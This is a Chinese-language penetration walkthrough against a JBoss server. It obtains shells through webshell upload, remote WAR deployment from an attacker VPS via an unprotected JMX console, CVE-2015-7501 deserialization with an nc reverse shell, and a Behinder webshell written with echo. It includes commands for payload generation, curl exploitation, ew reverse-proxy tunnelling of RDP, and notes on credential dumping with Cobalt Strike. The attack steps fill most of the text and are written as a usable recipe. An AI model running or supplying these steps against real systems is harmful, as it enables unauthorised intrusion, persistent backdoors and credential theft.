jboss是一个基于J2EE的开放源代码的应用服务器。jBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
现在日常在逆向和渗透之间穿梭,碰到一个jboss的站正好来练练手
使用java反序列化工具
看到jboss肯定想到用最简单的方法,直接上jar拿shell
但是结果不是那么美丽,一串乱码,试试能不能命令执行
命令执行一样乱码,那没办法只能用其他方法走了,这里上以前打过的jboss能够用命令执行的图
是台2012的系统,然后现在就是上传webshell找根目录
先看一下jboss的架构,发现jboss的根目录为:jboss\server\default\deploy\jboss-web.deployer\root.war\
上传jsp小马到根目录下,这里我上传的是菜刀马
访问一下,能够访问到,直接上菜刀连接
成功拿到webshell
到这就很好操作了,直接上cs或者留个小后门都挺舒服的
用jexboss工具直接拿shell
扫一下漏洞,发现有三个地方都可以进,舒服
随便利用一个,查看一下权限和域
war远程部署拿shell
这种方法是因为jmx这个控制台没有设置密码,可以随意进导致的漏洞,我的理解就是如果这个设有密码的话jmx控制台这个漏洞就利用不了
进入页面之后找这个字符串:flavor,定位到这一行,这一行就是jboss远程部署war包所在的位置
点进去之后找到addURL()这个位置
准备一个jsp小马,上传到vps上,用py起一个http服务,让目标机能够访问,这个地方要注意不能用jsp后缀,要把jsp后缀改成war后缀
这个地方我为了以后方便用写了一个py脚本,如果一句话起的话如下:
1 | python -m SimpleHTTPServer 8000 \#Python 2 |
访问一下,能够访问到
再回到addURL()的地方,输入war文件的地址,然后点击inmoke
看下有没有报错,没报错就是成功了,然后点击back
在这里可以看到部署的物理位置
点击应用更改
看了一下地址是已经传上去了
看一下web.deployment这个模块,也看到了上传的这个shell.war包
正常情况下,点击apply
changes就会自动跳转到jsp的页面,但是不知道什么原因,我访问jsp文件一直404,可能是因为上传的war并没有在默认目录导致读不到jsp这个文件
已解决:用jar打包jsp文件,上传即可,步骤同前
1 | jar -cvf aaa.war . |
jmxinvoker反序列化拿shell
之前在用工具扫的时候发现还有一个jmx反序列化漏洞,尝试用反序列化打进去拿shell
利用反序列化工具CVE-2015-7501:https://github.com/ianxtianxt/CVE-2015-7501/
解压后执行命令:
1 | javac -cp .:commons-collections-3.2.1.jar |
1 | java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap |
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件
这个时候我们还需要使用nc来监听一个端口来接受反弹shell
再使用一个curl去请求反弹建立连接
1 | curl http://目标机ip:port/invoker/JMXInvokerServlet --data-binary |
然后直接cs上线抓取密码账号
开3389
访问一下,发现连接不上,报错500,可能是因为设置了禁止web流量的原因
既然是禁止流量,那么想办法把流量转出来,那么就要让目标机器访问我的vps
使用ew反向代理
1 | ./ew_for_linux64 -s lcx_listen -l 1111 -e 1234 |
在目标机执行
1 | ew_for_win.exe -s lcx_slave -d vps -e 1234 -f 目标机内网ip -g 3389 |
将vps端口和自己的3389绑定
然后连接vps的1111端口
登录成功
echo冰蝎写马到绝对路径
1 | echo \^\<%@page |
用^对< >进行转义
访问即可